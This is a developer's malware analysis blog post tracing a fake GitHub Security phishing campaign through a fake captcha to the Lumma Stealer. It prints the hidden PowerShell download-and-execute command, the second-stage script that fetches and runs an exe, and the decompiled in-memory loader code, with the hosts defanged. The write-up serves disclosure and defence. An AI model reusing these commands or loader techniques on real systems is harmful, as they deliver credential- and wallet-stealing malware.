GitHub Notification Emails Hijacked to Send Malware

2024-09-18 GitHub Notification Emails Hijacked to Send Malware

As an open source developer I frequently get emails from GitHub, most of these emails are notifications sent on behalf of GitHub users to let me know that somebody has interacted with something and requires my attention. Perhaps somebody has created a new issue on one of my repos, or replied to a comment I left, or opened a pull request, or perhaps the user is trying to impersonate GitHub security and trick me into downloading malware.

If that last one sounds out of place, well, I have bad news for you - it's happened to me. Twice. In one day. Let me break down how this attack works:

  1. The attacker, using a throw-away GitHub account, creates an issue on any one of your public repos
  2. The attacker quickly deletes the issue
  3. You receive a notification email as the owner of the repo
  4. You click the link in the email, thinking it's legitimate
  5. You follow the instructions and infect your system with malware

Now, as a savvy computer-haver you might think that you'd never fall for such an attack, but let me show you all the clever tricks employed here, and how attackers have found a way to hijack GitHub email system to send malicious emails directly to project maintainers.

To start, let's look at the email message I got:

An email supposedly from the Github Security Team

In text form (link altered for your safety):

Hey there!

We have detected a security vulnerability in your repository. Please contact us at [https://]github-scanner[.]com to get more information on how to fix this issue.

Best regards,
Github Security Team

Without me having already told you that this email is a notification about a new GitHub issue being created on my repo, there's virtually nothing to go on that would tell you that, because the majority of this email is controlled by the attacker.

Everything highlighted in red is, in one way or another, something the attacker can control - meaning the text or content is what they want it to say:

An annotated copy of the email. Most of the subject as well as the body are highlighted in red.

Unfortunately the remaining parts of the email that aren't controlled by the attacker don't provide us with any sufficient amount of context to know what's actually going on here. Nowhere in the email does it say that this is a new issue that has been created, which gives the attacker all the power to establish whatever context they want for this message.

The attacker impersonates the "Github Security Team", and because this email is a legitimate email sent from Github, it passes most of the common phishing checks. The email is from Github, and the link in the email goes to where it says it does.

GitHub can improve on these notification emails to reduce the effectiveness of this type of attack by providing more context about what action is the email for, reducing the amount of attacker-controlled content, and improving clarity about the sender of the email. I have contacted Github security (the real one, not the fake imposter one) and shared these emails with them along with my concerns.

The Website

If you were to follow through with the link on that email, you'd find yourself on a page that appears to have a captcha on it. Captcha-gated sites are annoyingly common, thanks in part to services like Cloudflare which offers automated challenges based on heuristics. All this to say that users might not find a page immediately demanding they prove that they are human not that out of the ordinary.

A screenshot of a website asking you to verify that you're a human

What is out of the ordinary is how the captcha works. Normally you'd be clicking on a never-ending slideshow of sidewalks or motorcycles as you definitely don't help train AI, but instead this site is asking you to take the very specific step of opening the Windows Run box and pasting in a command.

A screenshot of a website on asking you to run some code

Honestly, if solving captchas were actually this easy, I'd be down for it. Sadly, it's not real - so now let's take a look at the malware.

The Malware

The site put the following text in my clipboard (link modified for your safety):

powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"

We'll consider this stage 1 of 4 of the attack. What this does is start a new Windows PowerShell process with the window hidden and run a command to download a script file and execute it. iex is a built-in alias for Invoke-Expression, and iwr is Invoke-WebRequest. For Linux users out there, this is equal to calling curl | bash. A comment is at the end of the file that, due to the Windows run box being limited in window size, effectively hides the first part of the script, so the user only sees this:

A screenshot of the Windows run box

Between the first email I got and the time of writing, the URL in the script have changed, but the contents remain the same.

Moving onto the second stage, the contents of the evaluated script file are (link modified for your safety):

$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath  $env:TEMP\SysSetup.exe

This script is refreshingly straightforward, with virtually no obfuscation. It downloads a file l6E.exe, saves it as <User Home>\AppData\Local\Temp\SysSetup.exe, and then runs that file.

I first took a look at the exe itself in Windows Explorer and noticed that it had a digital signature to it.

Screenshot of the codesignature for the malicious exe

The certificate used appears to have come from Spotify, but importantly the signature of the malicious binary is not valid - meaning it's likely this is just a spoofed signature that was copied from a legitimately-signed Spotify binary.

The presence of this invalid codesigning signature itself is interesting, because it's highlighted two weaknesses with Windows that this malware exploits.

I would have assumed that Windows would warn you before it runs an exe with an invalid code signature, especially one downloaded from the internet, but turns out that's not entirely the case.

It's important to know how Windows determines if something was downloaded from the internet, and this is done through what is commonly called the "Mark of the Web" (or MOTW). In short, this is a small flag set in the metadata of the file that says it came from the internet. Browsers and other software can set this flag, and other software can look for that flag to alter settings to behave differently. A good example is how Office behaves with a file downloaded from the internet.

If you were to download that l6E.exe file in your web browser (please don't!) and tried to open it, you'd be greeted with this hilariously aged dialog. Note that at the bottom Windows specifically highlights that this application does not have a valid signature.

Screenshot of a Windows security warning dialog

But this warning never appears for the victim, and it has to do with the mark of the web.

Step back for a moment and you'll recall that it's not the browser that is downloading this malicious exe, instead it's PowerShell - or, more specifically, it's the System.Net.WebClient class in .NET Framework. This class has a method, DownloadFile which does exactly that - downloads a file to a local path, except this method does not set the MOTW flag for the downloaded file.

Take a look at this side by side comparison of the file downloaded using the same .NET API used by the malware on the left and a browser on the right:

Screenshot of two file property windows. Only one has a note about the file being downloaded from the internet.

This exposes the other weakness in Windows; Windows will only warn you when you try to run an exe with an invalid digital signature if that file has the mark of the web. It is unwise to rely on the mark of the web in any way, as it's trivially easy to remove that flag. Had the .NET library set that flag, the attacker could have easily just removed it before starting the process.

Both of these weaknesses have been reported to Microsoft, but for us we should stop getting distracted by code signing certificates and instead move on to looking at what this dang exe actually does.

I opened the exe in Ghidra and then realized that I know nothing about assembly or reverse engineering, but I did see mentions of .NET in the output, so I moved to dotPeek to see what I could find.

There's two parts of the code that matter, the entrypoint and the PersonalActivation method.

The entrypoint hides the console window, calls PersonalActivation twice in a background thread, then marks a region of memory as executable with VirtualProtect and then executes it with CallWindowProcW.

private static void Main(string[] args)
{
  Resolver resolver = new Resolver("Consulter", 100);
  Program.FreeConsole();
  double num = (double) Program.UAdhuyichgAUIshuiAuis();
  Task.Run((Action) (() =>
  {
    Program.PersonalActivation(new List<int>(), Program.AIOsncoiuuA, Program.Alco);
    Program.PersonalActivation(new List<int>(), MoveAngles.userBuffer, MoveAngles.key);
  }));
  Thread.Sleep(1000);
  uint ASxcgtjy = 0;
  Program.VirtualProtect(ref Program.AIOsncoiuuA[0], Program.AIOsncoiuuA.Length, 64U, ref ASxcgtjy);
  int index = 392;
  Program.CallWindowProcW(ref Program.AIOsncoiuuA[index], MoveAngles.userBuffer, 0, 0, 0);
}

The PersonalActivation function takes in a list and two byte arrays. The list parameter is not used, and the first byte array is a data buffer and the second is labeled as key - this, plus the amount of math they're doing, gives it away that is is some form of decryptor, though I'm not good enough at math to figure out what algorithm it is.

I commented out the two calls to VirtualProtect and CallWindowProcW and compiled the rest of the code and ran it in a debugger, so that I could examine the contents of the two decrypted buffers. The first buffer contains a call to CreateProcess

00000000  55 05 00 00 37 13 00 00 00 00 00 00 75 73 65 72  U...7.......user
00000010  33 32 2E 64 6C 6C 00 43 72 65 61 74 65 50 72 6F  32.dll.CreatePro
00000020  63 65 73 73 41 00 56 69 72 74 75 61 6C 41 6C 6C  cessA.VirtualAll
00000030  6F 63 00 47 65 74 54 68 72 65 61 64 43 6F 6E 74  oc.GetThreadCont
00000040  65 78 74 00 52 65 61 64 50 72 6F 63 65 73 73 4D  ext.ReadProcessM
00000050  65 6D 6F 72 79 00 56 69 72 74 75 61 6C 41 6C 6C  emory.VirtualAll
00000060  6F 63 45 78 00 57 72 69 74 65 50 72 6F 63 65 73  ocEx.WriteProces
00000070  73 4D 65 6D 6F 72 79 00 53 65 74 54 68 72 65 61  sMemory.SetThrea
00000080  64 43 6F 6E 74 65 78 74 00 52 65 73 75 6D 65 54  dContext.ResumeT
00000090  68 72 65 61 64 00 39 05 00 00 BC 04 00 00 00 00  hread.9...¼.....
000000A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000000B0  00 00 00 00 00 00 43 3A 5C 57 69 6E 64 6F 77 73  ......C:\Windows
000000C0  5C 4D 69 63 72 6F 73 6F 66 74 2E 4E 45 54 5C 46  \Microsoft.NET\F
000000D0  72 61 6D 65 77 6F 72 6B 5C 76 34 2E 30 2E 33 30  ramework\v4.0.30
000000E0  33 31 39 5C 52 65 67 41 73 6D 2E 65 78 65 00 37  319\RegAsm.exe.7
[...]

And the second buffer, well, just take a look at the headers you might just see what's going on :)

00000000  4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00  MZx.............
00000010  00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........@.......
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00  ............x...
00000040  0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68  ..º..´.Í!¸.LÍ!Th
00000050  69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is program canno
00000060  74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20  t be run in DOS 
00000070  6D 6F 64 65 2E 24 00 00 50 45 00 00 4C 01 04 00  mode.$..PE..L...

So now we know that the large byte arrays at the top of the code are an "encrypted" exe that this loader puts into memory, marks it as executable, and then executes it. Marvelous.

Sadly, this is where I hit a wall as my skills at reverse engineering applications are very limited. The final stage of the attack is a Windows exe, but not one made with .NET, and I don't really know what I'm looking at in the output from Ghidra.

Thankfully, however, actual professionals have already done the work for me! Naturally, I put both the first and second binaries into VirusTotal and found that they were already flagged by a number of AVs. A common pattern in the naming was "LUMMASTEALER", which gives us our hint as to what this malware is.

Lumma is one of many malware operations (read: gangs) that offer a "malware as a service" product. Their so-called "stealer" code searches through your system for cryptocurrency wallets, stored credentials, and other sensitive data. This data is then sent to their command-and-control (C2) servers where the gang can then move on to either stealing money from you, or profit from selling your data online.

Lumma's malware tends to not encrypt victims devices such as traditional ransomware operations do.

For more information I recommend this excellent write-up from Cyfirma.


If you made it this far, thanks for reading! I had a lot of fun looking into the details of this attack, ranging from the weakness in Github's notification emails to the multiple layers of the attack.

Some of the tools I used to help me do this analysis were:

  • Windows Sandbox
  • Ghidra
  • dotPeek
  • HxD
  • Visual Studio

Updates:

  • Previously I said that the codesigning certificate was stolen from Spotify, however after discussing my findings with DigiCert we agreed that this is not the case and rather that the signature is being spoofed.